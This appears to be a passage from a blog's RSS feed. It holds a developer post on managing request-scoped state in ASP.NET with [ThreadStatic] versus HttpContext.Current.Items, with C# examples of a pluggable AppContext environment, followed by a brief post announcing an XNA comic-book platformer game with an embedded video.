<p>After doing some research online, I finally figured out a great way to maintain request level state across different components (ie. http module &#8211;&#62; http handler &#8211;&#62; mvc action filter &#8211;&#62; etc.). I did a good bit of searching, but found it was succinctly put in a blog post by hanselman:</p>
<p><a href="http://www.hanselman.com/blog/ATaleOfTwoTechniquesTheThreadStaticAttributeAndSystemWebHttpContextCurrentItems.aspx" target="_blank">http://www.hanselman.com/blog/ATaleOfTwoTechniquesTheThreadStaticAttributeAndSystemWebHttpContextCurrentItems.aspx</a></p>
<p>I started off by looking at (ie. Reflectoring) how the enigmatic HttpContext.Current works. Turns out there’s a lot of magic going on under the hood there with the web hosting framework and further .net remoting. In the end, looks like there are two simple ways to solve this problem:</p>
<ul>
<li>[ThreadStatic] attribute lets you have an instance of your static *per* thread.</li>
<li>HttpContext.Current.Items, only usable in the context of <a href="http://asp.net/" target="_blank">asp.net</a> obviously, but correctly manages your scope for the lifetime of the request.</li>
</ul>
<p>As hanselman puts it:</p>
<blockquote><p>Today&#8217;s lesson learned:the [<a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfsystemthreadstaticattributeclasstopic.asp" target="_blank">ThreadStatic</a>] attribute is only useful when YOU control the ThreadPool (and the lifecycle of the threads).</p></blockquote>
<p>So it seems that in order to solve the problem we need to adapt our strategy.  If our app is running in a local client (ie. stateful), we can either use the threadstatic attribute, or nothing at all if we don&#8217;t plan on doing complex multithreading.  However, if we are executing our application&#8217;s code in an asp.net app, we need to use HttpContext.Current.Items.  Armed with this knowledge, we could have a small initialization step that lets you set up the strategy for how to manage session information. So in the app_start method of the global asax, we can do something like:</p>
<pre>AppContext.SetEnvironment(new AppEnvironment());</pre>
<p>Thus, in <a href="http://asp.net/" target="_blank">ASP.NET</a> you have an implementation that can know how to provide the proper scoping for that hosting environment. AppContext is defined as:</p>
<pre>public interface IAppEnvironment
{
    public AppContext Current { get; set; }
}
public class AppContext
{
    // instance data
    public IDatabase Database { get; set; }

    // static lifecycl
    private static IAppEnvironment environment;

    public static void SetEnvironment(IAppEnvironment env) { environment = env; }

    public static AppContext Current
    {
        get { return environment.Current; }
        set { environment.Current = value; }
    }
}</pre>
<p>The instance data can be whatever you want … in the case of a data-driven app, it can maintain a request level database connection and whatever other information we need to refer to (which you can easily do by just saying “AppContext.Current.Database”). The static “Current” property that everyone would use simply defers to the environment implementation. Below are two implementations of the IAppEnvironment that you can use from <a href="http://asp.net/" target="_blank">ASP.NET</a> and a custom one  that you can use in a console app, or unit test.</p>
<pre>public class WebEnvironment : IAppEnvironment
{
    public AppContext Current
    {
        get { return HttpContext.Current.Items["appcontext"] as AppContext; }
        set { HttpContext.Current.Items["appcontext"] = value; }
    }
}

public class CustomEnvironment : IAppEnvironment
{
    [ThreadStatic]
    private static AppContext context;

    public AppContext Current
    {
        get { return context; }
        set { context = value; }
    }
}</pre>
<p>The CustomEnvironment implementation above just uses the simple thread static attribute since it’s assuming that you will be managing the hosting environment (threading and all) … where in the WebEnvironment, you can defer to the httpcontext stuff since that is handled for you.</p>
<p>Techniques such as these let you focus on your application, while limiting the amount of time that you have to spend worrying complexities of adapting your application to run in a web application.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Comicly Scrolling along...]]></title>
<link>http://wings87.wordpress.com/2009/11/01/comicly-scrolling-along/</link>
<pubDate>Sat, 31 Oct 2009 21:51:55 +0000</pubDate>
<dc:creator>wings87</dc:creator>
<guid>http://wings87.wordpress.com/2009/11/01/comicly-scrolling-along/</guid>
<description><![CDATA[I&#8217;ve been working on a game in XNA for a little while. The premise is of a stick figure cartoo]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I&#8217;ve been working on a game in XNA for a little while. The premise is of a stick figure cartoon character, running through a comic book. It&#8217;s based off of the Platformer sample. I&#8217;ll have it released at the end of November &#8216;09. Untill then below is a little, and early, video of the first level.</p>
<p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/h7JhVJE44p8&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/h7JhVJE44p8&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
</div>]]></content:encoded>
</item>

</channel>
</rss>
